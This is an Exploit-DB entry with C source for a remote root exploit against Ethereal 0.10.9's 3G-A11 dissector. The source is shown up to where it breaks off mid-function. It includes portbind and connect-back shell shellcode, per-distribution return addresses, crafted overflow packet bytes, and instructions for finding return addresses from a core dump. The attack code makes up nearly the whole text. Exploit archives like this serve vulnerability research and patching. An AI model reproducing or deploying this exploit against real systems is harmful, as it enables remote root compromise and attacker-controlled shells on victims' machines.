Exploit-DB #878
Description: Ethereal 0.10.9 (Linux) - '3G-A11' Remote Buffer Overflow
Type: remote
Platform: linux
Date: 2005-03-14
Author: Diego Giagio

Exploit:
/*
 * Ethereal 0.10.9 and below proof-of-concept remote root exploit
 * (c) 2005 Diego Giagio <dgiagio@irion.com.br>
 *
 * The CDMA2000 A11 protocol dissector (packet-3g-a11.c) has a stack overflow
 * vulnerability when decoding Airlink records. This vulnerability was also
 * discovered by Diego Giagio on 01/March/2005. The vendor was imediatelly
 * contacted.
 *
 *
 * Notes:
 *
 * This program has only been tested on Linux.
 *
 * If your system isn't on the target list and you are running Linux (x86), you
 * can easily find your system's ret address. See below:
 *
 * First you need to force Ethereal dump a core file.
 * bash$ ./ethereal-g3-a11 -a 0xdeadbeef -s 1 -d <your_machine_ip> -p 65535
 *
 * Then, use the script below to find the ret address from the core file:
 * --snip--
 * #!/bin/sh
 *
 * ADDR=`objdump -D -s core | \
 * grep "[PII_REDACTED] [PII_REDACTED]" | \
 * head -2 | tail -1 | awk '{print 0x$1}'`
 * echo "Address: 0x$ADDR"
 * --snip--
 *
 * Use that address with the -a <address> option. Good luck.
 *
 *
 * Greets:
 *
 * ttaranto, eniac, rogbas, pjoppert, skylazart, cync, runixd,
 * surfer, setnf, cbc, SUiCiDE, _hide, Codak, dm_, nuTshell
 *
 * #buffer@ircs.ircsnet.net
 *
 */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>

/*
 * portbind, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
 */
char sc_portbind[] =
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x66\xc7\x45\x16\xff\xff\x31"
"\xc0\x89\x45\x18\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0\x66\xcd\x80"
"\x40\x89\x45\x0c\x43\x43\xb0\x66\xcd\x80\x43\x89\x45\x0c\x89\x45\x10\xb0"
"\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0"
"\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";

/*
 * connectback, execve /bin/sh linux shellcode by BreeZe <breeze@binbash.org>
 * slighty modified by Diego Giagio <dgiagio@irion.com.br>
 */
char sc_connectback[] = 
"\x31\xc0\x89\x45\x10\x40\x89\xc3\x89\x45\x0c\x40\x89\x45\x08\x8d\x4d\x08"
"\xb0\x66\xcd\x80\x89\x45\x08\x43\x89\x5d\x14\x43\x66\xc7\x45\x16\xff\xff"
"\xc7\x45\x18\xc6\x51\x81\x64\x8d\x55\x14\x89\x55\x0c\xc6\x45\x10\x10\xb0"
"\x66\xcd\x80\x8b\x5d\x08\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41"
"\xb0\x3f\xcd\x80\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x54\x52\x4f\x45\x50\x4a\x55\x48\x53";


typedef enum
{
    SC_NULL         = -1,
    SC_PORTBIND     =  1,
    SC_CONNECTBACK  =  2
} shellcode_type_t;

struct shellcode_t
{
    int id;

    shellcode_type_t type;

    char *desc;
    char *data;

    int host_offset;
    int port_offset;
};

struct shellcode_t shellcode_list[] =
{
    {1,  SC_PORTBIND,    "portbind",    sc_portbind,    -1, 33},
    {2,  SC_CONNECTBACK, "connectback", sc_connectback, 39, 34},
    {-1, SC_NULL, NULL, NULL, -1, -1}
};

struct target_t
{
    int   id;
    char *desc;
    long  addr;
};

struct target_t target_list[] =
{
    {1,  "Slackware 10.1      - ethereal 0.10.9 from source",   0x0812d110},
    {2,  "Slackware 10.1      - tethereal 0.10.9 from source",  0x081f30d0},
    {3,  "Fedora Core 3       - ethereal  0.10.9 from rpm",     0x08117a80},
    {4,  "Fedora Core 3       - tethereal 0.10.9 from rpm",     0x08690ac0},
    {4,  "Gentoo 2004.3       - tethereal 0.10.9 from portage", 0x081c3d90},
    {-1, NULL, -1}
};

#define PROTO_3G_A11_PORT 699

char proto_3g_a11_begin[] =
"\x01"             // a11 message type - registration request
"\x0a"             // flags
"\xff\xff"         // lifetime 0000 to ffff
"\x00\x00\x00\x00" // home address
"\xf0\x00\xba\x00" // home agent addr - any addr
"\x00\x00\x00\x00" // care of addr - any addr
"\xde\xad\xbe\xef\xd0\x00\x00\x0d" // identification
"\x26"             // ext type - CVSE_EXT
"\x00"             // nada
"\xff\xff"         // ext len
"\x00\x00\x00\x00" // vse vid
"\x01\x01"         // vse apptype 0x0101
;

char proto_3g_a11_before_shellcode[] =
"\x1a" // radius vendor specific
"\xff" // len
;

char proto_3g_a11_before_retaddrs[] =
"\x1f" // radius ad-hoc
"\xfe" // len
;

static int
find_shellcode_by_id (int id, struct shellcode_t **sc)
{
    int i;

    for (i=0; shellcode_list[i].id != -1; i++)
    {
	if (shellcode_list[i].id == id)
	{
	    *sc = &shellcode_list[i];
	    return 0;
	}
    }

    return -1;
}

static int
find_target_by_id (int id, struct target_t **target)
{
    int i;

    for (i=0; target_list[i].id != -1; i++)
    {
	if (target_list[i].id == id)
	{
	    *target = &target_list[i];
	    return 0;
	}
    }

    return -1;
}

int
parse_ip (const char *ipstr, long *ip)
{
    int a, b, c, d;

    if (sscanf (ipstr, "%d.%d.%d.%d", &a, &b, &c, &d) != 4)
	return -1;

    *ip  = (d & 0x000000ff);
    *ip |= (c & 0x000000ff) << 8;
    *ip |= (b & 0x000000ff) << 16;
    *ip |= (a & 0x000000ff) << 24;

    return 0;
}

static int
sock_create (int type, int proto)
{
    struct linger l;
    int sock;
    int sockopt;
    int ret;
    
    sock = socket (type, proto, 0);
    if (sock < 0)
	return -1;
    
    l.l_onoff  = 1;
    l.l_linger = 0;
    ret = setsockopt (sock, SOL_SOCKET, SO_LINGER, &l, sizeof (l));
    if (ret < 0)
    {
	close (sock);
	return -2;
    }
    
    sockopt = 1;
    ret = setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
		      sizeof (sockopt));
    if (ret < 0)
    {
	close (sock);
	return -3;
    }

    return sock;
}

static int
sock_udp_create (